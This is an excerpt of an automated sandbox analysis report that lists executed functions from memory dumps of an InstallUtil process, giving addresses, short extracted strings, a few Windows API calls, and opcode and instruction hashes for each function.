Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	1

Executed Functions

Function 05D66780 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$tq, xrefs: 05D66ED8
$tq, xrefs: 05D66E8B
$tq, xrefs: 05D66ECC
$tq, xrefs: 05D66EB4
$tq, xrefs: 05D66EA8
$tq, xrefs: 05D66E7F

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-2574395493
Opcode ID: 419e86254da665b645c7f4108d0f18064ff9d438fe7680151aff88c79021e94b
Instruction ID: 9d5128261e662b7c2e3a5052d7f52fd9b2280a21004a27647d011a0b6e88bee3
Opcode Fuzzy Hash: 419e86254da665b645c7f4108d0f18064ff9d438fe7680151aff88c79021e94b
Instruction Fuzzy Hash: 81323471E1061ACBCB14EF79D89499DF7B2FF89300F10D66AD449AB264EB30D985CB90

Function 05D6B4A8 Relevance: 3.0, Strings: 2, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$tq, xrefs: 05D6B80B
$tq, xrefs: 05D6B817

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq
API String ID: 0-1837209516
Opcode ID: aabba5ffbfd6c4d2d2246f1e249cabd67b8916534fbffb69f21db8b4a6150f70
Instruction ID: c33f0c2491dd1992a96cb064323f7a816de094e40044a6370bc4b667a1ef0864
Opcode Fuzzy Hash: aabba5ffbfd6c4d2d2246f1e249cabd67b8916534fbffb69f21db8b4a6150f70
Instruction Fuzzy Hash: 0D02A134B002158FDB14DB79D594AAEB7E2FF84310F14852AE806DB395EB71EC878B91

Function 05D60040 Relevance: 2.8, Instructions: 2751COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e0f41f689cc8717253469dcc25be80005feb22845631d3240c23098235302f0
Instruction ID: 329891935aae24b189fc7b22efd053cf3ed83986df8ae43c4867a9124f35a229
Opcode Fuzzy Hash: 1e0f41f689cc8717253469dcc25be80005feb22845631d3240c23098235302f0
Instruction Fuzzy Hash: 4F53E731D10B1A8ADB11EF68C8846A9F7B1FF99300F51D79AE45867121FB70AAC5CF81

Function 05D63390 Relevance: 2.2, Instructions: 2212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78d695d6c0d4da276f8aca55a41be5c5b2f71ca9fa8f35602e646454e62826e9
Instruction ID: 43153bd19c075c997b826536574c2f950716cbd80538a7df2715a1b9e234c4e0
Opcode Fuzzy Hash: 78d695d6c0d4da276f8aca55a41be5c5b2f71ca9fa8f35602e646454e62826e9
Instruction Fuzzy Hash: 1E231D31D107198EDB11DF68C884AADF7B1FF99300F55C69AE448A7225EB70EAC5CB81

Function 05D688A8 Relevance: 1.9, Strings: 1, Instructions: 602
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 05D68BFB

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: dc088d5bf803e9693f2c0b00e4f0c7a6d8b304191528278402ca847961b57dc7
Instruction ID: 99f511f16cb91721b3d662ad759dfdf80e14ccd45eb88cf556904f873384cbcf
Opcode Fuzzy Hash: dc088d5bf803e9693f2c0b00e4f0c7a6d8b304191528278402ca847961b57dc7
Instruction Fuzzy Hash: 9E22C175E002158FDF24DBA8C490AAEB7F2FF88310F24856AE845AB351DB35DC46DB91

Function 007C3EA8 Relevance: 1.5, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V&k, xrefs: 007C40F3

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID: \V&k
API String ID: 0-3507488496
Opcode ID: 8809285c815e5f3d6cc00537e8f3766c81bb2e7227a89aa0ce5a5d9e90dad2f8
Instruction ID: 3abf46edb9594c638186c0a36a7b97521d85c1dcd5821eedaf23cf43adf876b3
Opcode Fuzzy Hash: 8809285c815e5f3d6cc00537e8f3766c81bb2e7227a89aa0ce5a5d9e90dad2f8
Instruction Fuzzy Hash: 75915C70E0020DDFDF14CFA9C895B9DBBF2AF98314F14852DE415A7294EB789985CB81

Function 05D60007 Relevance: 1.3, Instructions: 1300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c697f3ada6dd3dd3282f2b7503eb7dfc100517709c6d785ddf5d70e4c6e11c7
Instruction ID: aa7aac34a4d283053e414a25d16192ed3f351979388ebca827e841573ff08f95
Opcode Fuzzy Hash: 4c697f3ada6dd3dd3282f2b7503eb7dfc100517709c6d785ddf5d70e4c6e11c7
Instruction Fuzzy Hash: 35D2F731D14B1A8ADB11EF68C844AA9F7B1FF99300F51D79AE04867121FB70AAD5CF81

Function 05D65988 Relevance: 1.0, Instructions: 1049COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50970dbd2d00df9eb80e98a34e5c72d63e577d998d7f2a021323eed7fa507f04
Instruction ID: bd353a0dcb0b6090fbd838a86f6c9c130d06f62c5645eafcb89aa7035e05729a
Opcode Fuzzy Hash: 50970dbd2d00df9eb80e98a34e5c72d63e577d998d7f2a021323eed7fa507f04
Instruction Fuzzy Hash: 91A20534A002048FDB24DF68C588B6DBBF2FB49314F5584AAE449AB365DB35ED86CF41

Function 05D6E959 Relevance: .6, Instructions: 566COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d9c98eaf07d06ce98ac893a40bc0eaa5a2b7e615e2b23d8e8c4a7630f15cf9
Instruction ID: a6f29eb1e2a28ba44a0554b1a5dc1491bb5bdcf0b4d00e7d0b29406168194e0a
Opcode Fuzzy Hash: a2d9c98eaf07d06ce98ac893a40bc0eaa5a2b7e615e2b23d8e8c4a7630f15cf9
Instruction Fuzzy Hash: 06227174A002098FDF24DB6DD490BBEB7B6FB49310F248927E409DB395DA35DC868B91

Function 007C4AC0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57cf390b0129f250f10b853fafdaadbf521e2d57af32a8e51b420525a6a3417e
Instruction ID: 189297ce942962fb70d32c5e3b19445ac6d9f6f0914eab2d417e3cd88cbeaa8e
Opcode Fuzzy Hash: 57cf390b0129f250f10b853fafdaadbf521e2d57af32a8e51b420525a6a3417e
Instruction Fuzzy Hash: CEB14CB0E00209CFDF24DFA9D895B9DBBF2AF88314F14852DD815E7294EB789845CB91

Function 05D6E400 Relevance: 10.4, Strings: 8, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$tq, xrefs: 05D6E5AF
$tq, xrefs: 05D6E521
$tq, xrefs: 05D6E5A3
$tq, xrefs: 05D6E580
$tq, xrefs: 05D6E574
$tq, xrefs: 05D6E5CC
$tq, xrefs: 05D6E5D8
$tq, xrefs: 05D6E52D

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-3970889292
Opcode ID: 219f22ca5dcb4461405f6cb104b7d0fc7fcaedc11a02698a0ea6221478ddcf2c
Instruction ID: 2db3b03810241252f69e182fb2558b38395b08057c75d6d701326bfeb895989d
Opcode Fuzzy Hash: 219f22ca5dcb4461405f6cb104b7d0fc7fcaedc11a02698a0ea6221478ddcf2c
Instruction Fuzzy Hash: 44E15074A002098BCF15DB79D494AAEB7B7FF84304F10892AE4069B355EB75EC4BCB91

Function 05D6C880 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$tq, xrefs: 05D6C8D3
$tq, xrefs: 05D6C90E
$tq, xrefs: 05D6C8C7
$tq, xrefs: 05D6C902

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq$$tq$$tq
API String ID: 0-173548568
Opcode ID: ecec0511e38c06b4fe267989215a8345f26f9c77b2fa673ea7a52bd16a4f34a5
Instruction ID: ea25a6502b6ef9e46efdc7fe6418802cd2e9cee3247afdedc6c2990fce8026a0
Opcode Fuzzy Hash: ecec0511e38c06b4fe267989215a8345f26f9c77b2fa673ea7a52bd16a4f34a5
Instruction Fuzzy Hash: D7915170B1020A8FCF64DF79D950BAEB7F6BF88240F108566D849AB354EE70DD468B91

Function 05D67E80 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPyq, xrefs: 05D67FD1
fyq, xrefs: 05D67EAB
\Oyq, xrefs: 05D6805B

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: fyq$XPyq$\Oyq
API String ID: 0-1085389410
Opcode ID: 7efff3961388600cb28b20b3c3633303a7f5edb4bba3d7ea389e12a74f13da97
Instruction ID: a131ec74e620b81a194f4601a68d7cd4bd1c65f25cbba6b1531238e223d3af84
Opcode Fuzzy Hash: 7efff3961388600cb28b20b3c3633303a7f5edb4bba3d7ea389e12a74f13da97
Instruction Fuzzy Hash: BF617570B002089FDF149BA9C855BAEBBF6FF88340F20842AE505EB3A5DF754D499B51

Function 05D6C871 Relevance: 2.7, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$tq, xrefs: 05D6C8C7
$tq, xrefs: 05D6C902

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: $tq$$tq
API String ID: 0-1837209516
Opcode ID: cb5bbbf7e8da0fccfbca2b56797def60c6bc05c161e289c732a1d155d3e1893a
Instruction ID: e8cb8f051119e38c32f74ceeb87edf44e820065e466e4984cf5300e93cce0dc8
Opcode Fuzzy Hash: cb5bbbf7e8da0fccfbca2b56797def60c6bc05c161e289c732a1d155d3e1893a
Instruction Fuzzy Hash: 13516470B101058FDF68EB79D950B6E77F6AFC8240F14846AD84ADB368EA30DD068B91

Function 05D67E70 Relevance: 2.6, Strings: 2, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPyq, xrefs: 05D67FD1
fyq, xrefs: 05D67EAB

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: fyq$XPyq
API String ID: 0-1145665409
Opcode ID: f3f37ac06650311f4f66b9d410b5167ae79bd0d1ee441d9f77fcee5ea8f35adb
Instruction ID: b80d6517d07ec7fc01f0e7ff60c821a913e347d8b3215450a6500ec1e0d9870b
Opcode Fuzzy Hash: f3f37ac06650311f4f66b9d410b5167ae79bd0d1ee441d9f77fcee5ea8f35adb
Instruction Fuzzy Hash: 8F518870B002089FDB149FA5C855BAEBBF7FF88340F20852AE505DB3A5DE759C099B51

Function 06640C70 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06640D31

Memory Dump Source

Source File: 00000007.00000002.1870500872.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6640000_InstallUtil.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: de2a6ad569cdf16491ff13da4439973c950026ed1379f1bf587b96ec0f41c3b7
Instruction ID: fbabbfb35f5c7a0200d56ef951b1957e8f6f31d93626cfe31d82705f14269491
Opcode Fuzzy Hash: de2a6ad569cdf16491ff13da4439973c950026ed1379f1bf587b96ec0f41c3b7
Instruction Fuzzy Hash: 944127B4A00359CFDB54DF99C848AAABBF5FF88314F248859D519AB321D734A845CFA0

Function 066422F0 Relevance: 1.5, APIs: 1, Instructions: 46
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 0664320D

Memory Dump Source

Source File: 00000007.00000002.1870500872.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6640000_InstallUtil.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c9b46eb34987d3eebb257523d9b7ea652aaf040ab61713b2c7815a9dd8e2d690
Instruction ID: 656a6dcc7ec769e8f852084908f59436546780afdd8da1ab041b23e74692edab
Opcode Fuzzy Hash: c9b46eb34987d3eebb257523d9b7ea652aaf040ab61713b2c7815a9dd8e2d690
Instruction Fuzzy Hash: CC1100B1C042488FDB60EF9AD944B9EBBF8EB48320F24845AD519B7300C779A944CFA5

Function 066431B1 Relevance: 1.5, APIs: 1, Instructions: 44
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 0664320D

Memory Dump Source

Source File: 00000007.00000002.1870500872.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6640000_InstallUtil.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 917a67355ef0209f35d5e9187a29eb41c12226d52e88a13c327ccb8b3a091dee
Instruction ID: 4c63e34ba0811ae612762511ef1d30755d0424f9f833183850b35c84edd9b65c
Opcode Fuzzy Hash: 917a67355ef0209f35d5e9187a29eb41c12226d52e88a13c327ccb8b3a091dee
Instruction Fuzzy Hash: C61100B5C002488FDB10DFAAD545BDEBBF4EB48324F24845AD529B7310C379A944CFA1

Function 007C3E9E Relevance: 1.5, Strings: 1, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V&k, xrefs: 007C40F3

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID: \V&k
API String ID: 0-3507488496
Opcode ID: c5bd7322c0e24bc3bbef1b692b63179387096f2409f5bcc3439241e9156329bb
Instruction ID: ca3b08b181498c0a18ab6987e3a04c4c5311842c8fbc24354450d719d1fc8727
Opcode Fuzzy Hash: c5bd7322c0e24bc3bbef1b692b63179387096f2409f5bcc3439241e9156329bb
Instruction Fuzzy Hash: 31915B70E0024DDFDB24CFA9C895BDDBBF2AF58314F14852DE815A7254EB389985CB81

Function 007CED15 Relevance: 1.4, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHtq, xrefs: 007CEE71

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID: PHtq
API String ID: 0-4170314142
Opcode ID: d0d34b6b6daaee1e6e607fa082fe1bb45be3d575698c5cb4db9b0ebd09900522
Instruction ID: ba7b912162b00d4e6d02e0574470c9a8d90f5656be5e7cf0a7ad52eb630fceda
Opcode Fuzzy Hash: d0d34b6b6daaee1e6e607fa082fe1bb45be3d575698c5cb4db9b0ebd09900522
Instruction Fuzzy Hash: 32418071A003099FDB25DF65C855B9EBBB2EF85340F20492DE406EB250EB79AD46CB81

Function 05D65810 Relevance: 1.4, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHtq, xrefs: 05D6594B

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: PHtq
API String ID: 0-4170314142
Opcode ID: 0da0363b41964355fc2b96689de8ee7326caffea81340b3f02673b5ef6d68004
Instruction ID: 94e624c4fcc95227fc4274e4c312438fd33b145f7289b3cc52edc7e524f15adc
Opcode Fuzzy Hash: 0da0363b41964355fc2b96689de8ee7326caffea81340b3f02673b5ef6d68004
Instruction Fuzzy Hash: E031E430B002058FDF19AB38D454A6F7BA3AF88210F64442AD406EB395EF75DC86DBD5

Function 007CA9B0 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

LRtq, xrefs: 007CA9CB

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID: LRtq
API String ID: 0-4092542751
Opcode ID: 126bfb46e2a28d6f4372b81a299bd787f4b7cadcabf71a36e126d13450ad7967
Instruction ID: eac65c9b57d056026b678b81879912196d9d0bb6681318d0177998a011e222ea
Opcode Fuzzy Hash: 126bfb46e2a28d6f4372b81a299bd787f4b7cadcabf71a36e126d13450ad7967
Instruction Fuzzy Hash: 79318E31E0020DABDB18CFA4C545B9EB7B2FF85305F10852DE905EB250EB74AD41CB41

Function 007CA9A3 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

LRtq, xrefs: 007CA9CB

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID: LRtq
API String ID: 0-4092542751
Opcode ID: ea8464d2d280ad96b3afec59bf1735015669cca406da7ea43bc5728737682e7e
Instruction ID: 221b75f0c45fc14b6f1c17fbf4b221258cce78a919094cfe64f573bdb869ae14
Opcode Fuzzy Hash: ea8464d2d280ad96b3afec59bf1735015669cca406da7ea43bc5728737682e7e
Instruction Fuzzy Hash: DA317E70E1020DABDB18CF64C545B9EB7B2FF45305F20852DE801EB250EBB5AD45CB41

Function 007C6BC8 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

LRtq, xrefs: 007C6BFF

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID: LRtq
API String ID: 0-4092542751
Opcode ID: 566aa6c4f1951831de4498c1f9f9a7211906ddabde7682817b2cb7e39156751b
Instruction ID: 96503ea52ebbd3c4dcb3deac2c2edd96329a79c6c03028461d29a292822d221d
Opcode Fuzzy Hash: 566aa6c4f1951831de4498c1f9f9a7211906ddabde7682817b2cb7e39156751b
Instruction Fuzzy Hash: 4221F9703041908FC715AB7994A47EE7BB2EF8A340B0449AAD449CB2A6EE755C4A87D1

Function 05D67D69 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

\Oyq, xrefs: 05D67D75

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID: \Oyq
API String ID: 0-44443374
Opcode ID: 155bb123611b976d9f82c91041ff98d471221e0fb7befbe36913c4d90dcb7d36
Instruction ID: dd6746361c416871d0e2fb2d9163f28a0f8170406dac47d0fd042f23862cc8cf
Opcode Fuzzy Hash: 155bb123611b976d9f82c91041ff98d471221e0fb7befbe36913c4d90dcb7d36
Instruction Fuzzy Hash: CCF0DA70A24219DBDB14DB90E859BBDBBB2FF88704F20451AE402A7390CB741D06CF80

Function 007CAF3B Relevance: .6, Instructions: 552COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3812da37279d281b0691745087a99f4fde10f0e49d893f6f51b678ddbb1f2c42
Instruction ID: c9155aa931ca2ccd703b6ad06ba9ccff520ca24e850d9072694799b716c19087
Opcode Fuzzy Hash: 3812da37279d281b0691745087a99f4fde10f0e49d893f6f51b678ddbb1f2c42
Instruction Fuzzy Hash: B312523070020A8BCF25AB39E48565C77A3FB89345F50492DF50ACB355DF76EC8A9B91

Function 007CCD9C Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fb6a32b36417fca84f5d84d20a57ffe198e5f448cb3d2c520394dbdcda06eb4
Instruction ID: 27de32adce51defadf74c0e0f63d02f6faeb78d3976d320e394185a9e693b439
Opcode Fuzzy Hash: 0fb6a32b36417fca84f5d84d20a57ffe198e5f448cb3d2c520394dbdcda06eb4
Instruction Fuzzy Hash: 36D16074B002058FDB15DF68D484B6DBBB2EB89310F24846DE806DB365DB39ED46CB91

Function 007CD118 Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb58d116a685c91378a8ea90301b8c520feb8ff06921fe11fa870969938faad4
Instruction ID: 4d71ef72640db23ba41afefa45c154eaea3433f5929e9d590199bbc865a3c06f
Opcode Fuzzy Hash: cb58d116a685c91378a8ea90301b8c520feb8ff06921fe11fa870969938faad4
Instruction Fuzzy Hash: B1C1AF70A002058FDB24DFA9D884BAEBBB2FB88310F24857DE909DB295D774DD458B91

Function 05D6ED78 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd817a6f6e2aa041a987198b98ddf8137f8fda4da60b71dcef691a7b7349830f
Instruction ID: d6564c15d828760f12f407e3aac8994d7251e9881eeb5eaf0e88e88f46b7694f
Opcode Fuzzy Hash: fd817a6f6e2aa041a987198b98ddf8137f8fda4da60b71dcef691a7b7349830f
Instruction Fuzzy Hash: 2BA14A74E0020A8BDF24CB68D580BAEB7B6FB45310F208927E455DB395DB35EC86CB91

Function 007C4AB4 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1838214745.00000000007C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 007C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58ad3e61e9626c984a6f7badcb1c80bc656d3145ab780faa48a31d0e66974de1
Instruction ID: 8c20d8bbff7c516b579bbfa778e1de3a79cfab64b30e3dcd088adcbdab7efdeb
Opcode Fuzzy Hash: 58ad3e61e9626c984a6f7badcb1c80bc656d3145ab780faa48a31d0e66974de1
Instruction Fuzzy Hash: 35B15AB0E00209CFDF24DFA9D8A5BDDBBF2AF48314F14852DD815A7294EB789845CB91

Function 05D6A440 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b53c9a1a71f7a557c9b992b8f9cc12928b9bceb647e7792c8af5e5f5548e31d7
Instruction ID: 2189fc9ba0d1d57611b88d95c90555dcd4e4d779fa82f3ddb840d5c02a5c8df1
Opcode Fuzzy Hash: b53c9a1a71f7a557c9b992b8f9cc12928b9bceb647e7792c8af5e5f5548e31d7
Instruction Fuzzy Hash: 58A14934A00204CFCB14DB69D548B6DB7F3FB88315F14886AE48AAB355EB75ED46CB81

Function 05D69510 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38cff6d1f3172f6ad7cf510372bcafeeb54633e6b294744e2f3f46856b27c68b
Instruction ID: d1d4361a30df4d9484c7f391154648058ec6d5a46bcf248b98e6e4a5ce80feea
Opcode Fuzzy Hash: 38cff6d1f3172f6ad7cf510372bcafeeb54633e6b294744e2f3f46856b27c68b
Instruction Fuzzy Hash: 5661A3B1F001214BDF149B7EC890A6EBADBAFC4620B15443AE80ADB375DE75ED4687C1

Function 05D675B8 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1869167082.0000000005D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5d60000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 418e3be19bcdd03767a2dbda1c91eef6acea0cfa12606bbd1035f59297755683
Instruction ID: ab61638944003e3d2a2c8cdc15563f7308f7f2022e9d67d4fb2021a965c83fca
Opcode Fuzzy Hash: 418e3be19bcdd03767a2dbda1c91eef6acea0cfa12606bbd1035f59297755683
Instruction Fuzzy Hash: A7813274B002098BDF54DBB9D550B6E77B3EF89304F108529E40ADB355EB34EC469B51

Function 05D678D4 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

